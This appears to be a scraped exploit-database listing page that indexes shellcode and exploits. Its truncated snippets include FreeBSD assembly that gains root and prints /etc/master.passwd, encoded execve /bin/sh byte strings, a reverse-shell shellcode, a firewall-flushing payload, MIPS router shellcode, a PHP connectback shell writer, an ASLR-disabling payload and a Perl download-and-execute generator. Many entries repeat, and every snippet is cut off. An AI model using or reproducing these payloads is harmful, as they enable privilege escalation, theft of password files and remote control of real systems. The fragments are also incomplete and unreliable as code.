win32 PEB Kernel32.dll ImageBase Finder (Ascii Printable) 49 bytes

Exploit for win32 platform in category shellcode ================================================================== win32 PEB Kernel32.dll ImageBase Finder Ascii Printable 49 bytes ================================================================== / PEB Kernel32.dll ImageBase Finder Ascii Printab...

win32 PEB Kernel32.dll ImageBase Finder Alphanumeric 67 bytes

win32 PEB Kernel32.dll ImageBase Finder Alphanumeric 67 bytes. Shellcode exploit for win32 platform / PEB Kernel32.dll ImageBase Finder Alphanumeric Author: Koshi Description: Uses PEB method to locate the ImageBase of Kernel32.dll ONLY supports NT/2K/XP.. sorry no 9X. ImageBase will be returned ...

freebsd/x86 /bin/cat /etc/master.passwd (NULL free) 65 bytes

No description provided by source. ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBSD 7.0-RELEASE global start start: xor eax, eax ; --- setuid0 push eax push eax mov al, 0x17 int 0x80 ; --- setup /etc/master.passwd jmp short loadfile ok: pop esi ; setup /bin/cat push eax push...

freebsd/x86 /bin/cat /etc/master.passwd (NULL free) 65 bytes

Exploit for freebsd/x86 platform in category shellcode ============================================================ freebsd/x86 /bin/cat /etc/master.passwd NULL free 65 bytes ============================================================ ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBS...

freebsd/x86 - /bin/cat /etc/master.passwd NULL free 65 bytes

freebsd/x86 /bin/cat /etc/master.passwd NULL free 65 bytes. Shellcode exploit for freebsdx86 platform ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBSD 7.0-RELEASE global start start: xor eax, eax ; --- setuid0 push eax push eax mov al, 0x17 int 0x80 ; --- setup /etc/master.passwd jm...

freebsd/x86 encrypted shellcode /bin/sh 48 bytes

No description provided by source. / Encoded SUB shellcode execve /bin/sh of 48 bytes by [email protected] c0d3z3r0 Hack 'n Roll / char shellcode = "\x31\xd2" "\xeb\x0e" "\x31\xdb" "\x5b" "\xb1\x19" "\x83\x2c\x1a\x01" "\x42" "\xe2\xf9" "\xeb\x05" "\xe8\xed\xff\xff\xff" "\x32\xc1"...

freebsd/x86 setuid(0); execve(ipf -Fa); shellcode 56 bytes

No description provided by source. ; sm4x - 2008 ; setuid0; execve"//sbin/ipf", "//sbin/ipf", "-Faa", 0, 0; ; 56 bytes ; FreeBSD 7.0-RELEASE global start start: main: ; --------------------- setuid 0 xor eax, eax xor ecx, ecx push eax ;0 mov al, 0x17 int 0x80 ; --------------------- -Faa xor eax,...

freebsd/x86 - reverse portbind /bin/sh 89 bytes

freebsd/x86 reverse portbind /bin/sh 89 bytes. Shellcode exploit for freebsdx86 platform ; sm4x - 2008 ; reverse portbind /bin/sh ; NULL free if address is. ; setuid0; socket; connect; exit; ; 89 bytes ; FreeBSD 7.0-RELEASE global start start: xor eax, eax ; --- setuid0 push eax push eax mov al,...

freebsd/x86 reverse portbind /bin/sh 89 bytes

Exploit for freebsd/x86 platform in category shellcode ============================================= freebsd/x86 reverse portbind /bin/sh 89 bytes ============================================= ; sm4x - 2008 ; reverse portbind /bin/sh ; NULL free if address is. ; setuid0; socket; connect; exit; ; ...

freebsd/x86 - setuid0; execveipf -Fa; shellcode 57 bytes

freebsd/x86 setuid0; execveipf -Fa; shellcode 57 bytes. Shellcode exploit for freebsdx86 platform ; sm4x - 2008 ; setuid0; execve"//sbin/ipf", "//sbin/ipf", "-Faa", 0, 0; ; 57 bytes ; FreeBSD 7.0-RELEASE global start start: main: ; --------------------- setuid 0 xor eax, eax xor ecx, ecx push eax...

freebsd/x86 encrypted shellcode /bin/sh 48 bytes

Exploit for freebsd/x86 platform in category shellcode ================================================ freebsd/x86 encrypted shellcode /bin/sh 48 bytes ================================================ / Encoded SUB shellcode execve /bin/sh of 48 bytes by email protected Hack 'n Roll / char...

freebsd/x86 - encrypted shellcode /bin/sh 48 bytes

freebsd/x86 encrypted shellcode /bin/sh 48 bytes. Shellcode exploit for freebsdx86 platform / Encoded SUB shellcode execve /bin/sh of 48 bytes by [email protected] Hack 'n Roll / char shellcode = "\x31\xd2" "\xeb\x0e" "\x31\xdb" "\x5b" "\xb1\x19" "\x83\x2c\x1a\x01" "\x42" "\xe2\xf9"...

linux/mips (Linksys WRT54G/GL) execve shellcode 60 bytes

No description provided by source. / - MIPS little-endian - linux execve 60 bytes shellcode - execve"/bin/sh","/bin/sh",; - tested on Linksys WRT54G/GL DD-WRT Linux - based on scut paper Writing MIPS/Irix shellcode vaicebine at gmail dot com / include stdio.h char shellcode = "\x50\x73\x06\x24" /...

linux/mips (Linksys WRT54G/GL) execve shellcode 60 bytes

Exploit for linux/mips platform in category shellcode ======================================================== linux/mips Linksys WRT54G/GL execve shellcode 60 bytes ======================================================== / - MIPS little-endian - linux execve 60 bytes shellcode -...

linux/x86 writes a php connectback shell to the fs 508 bytes

Exploit for linux/x86 platform in category shellcode ============================================================ linux/x86 writes a php connectback shell to the fs 508 bytes ============================================================ include / Grayscale Research: Linux Write FS PHP Connect Back...

linux/x86 setuid(0) . setgid(0) . aslr_off 79 bytes

No description provided by source. / Linux/x86 Fedora 8 setuid0 + setgid0 + execve"echo 0 /proc/sys/kernel/randomizevaspace" by LiquidWorm 2008 c www.zeroscience.org liquidworm at gmail.com 79 bytes. / char sc = "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx, %ebx "\xcd\x80" /...

Code injection

Multiple unspecified vulnerabilities in ReSIProcate before 1.3.4 allow remote attackers to cause a denial of service stack consumption via unknown network traffic with a large "bytes-in-memory/bytes-on-wire ratio."...

SquirrelMail (chpasswd) Local Root Bruteforce Exploit

No description provided by source. / PSTchpasswdexp-vb.c: Squirrelmail chpasswd local root bruteforce exploit Author: BytesBytesatph4nt0m.net || Bytesatph4nt0m.org www ph4nt0m net Notice: vb: Local bruteforce version vR: remote bruteforce version Greatze: ph4nt0m,music@0x557 All PST...

solaris/x86 execve /bin/sh toupper evasion 84 bytes

No description provided by source. / Solaris/x86 Used for toupper evasion look to the linux version for an explanation and usage example. / char c0de = / main: / "\xeb\x33" / jmp callz / / start: /...

win32 Download and Execute Shellcode Generator (browsers edition)

Exploit for win32 platform in category shellcode ================================================================= win32 Download and Execute Shellcode Generator browsers edition ================================================================= !/usr/bin/perl $loadingurl=$ARGV0; chomp $loadingurl...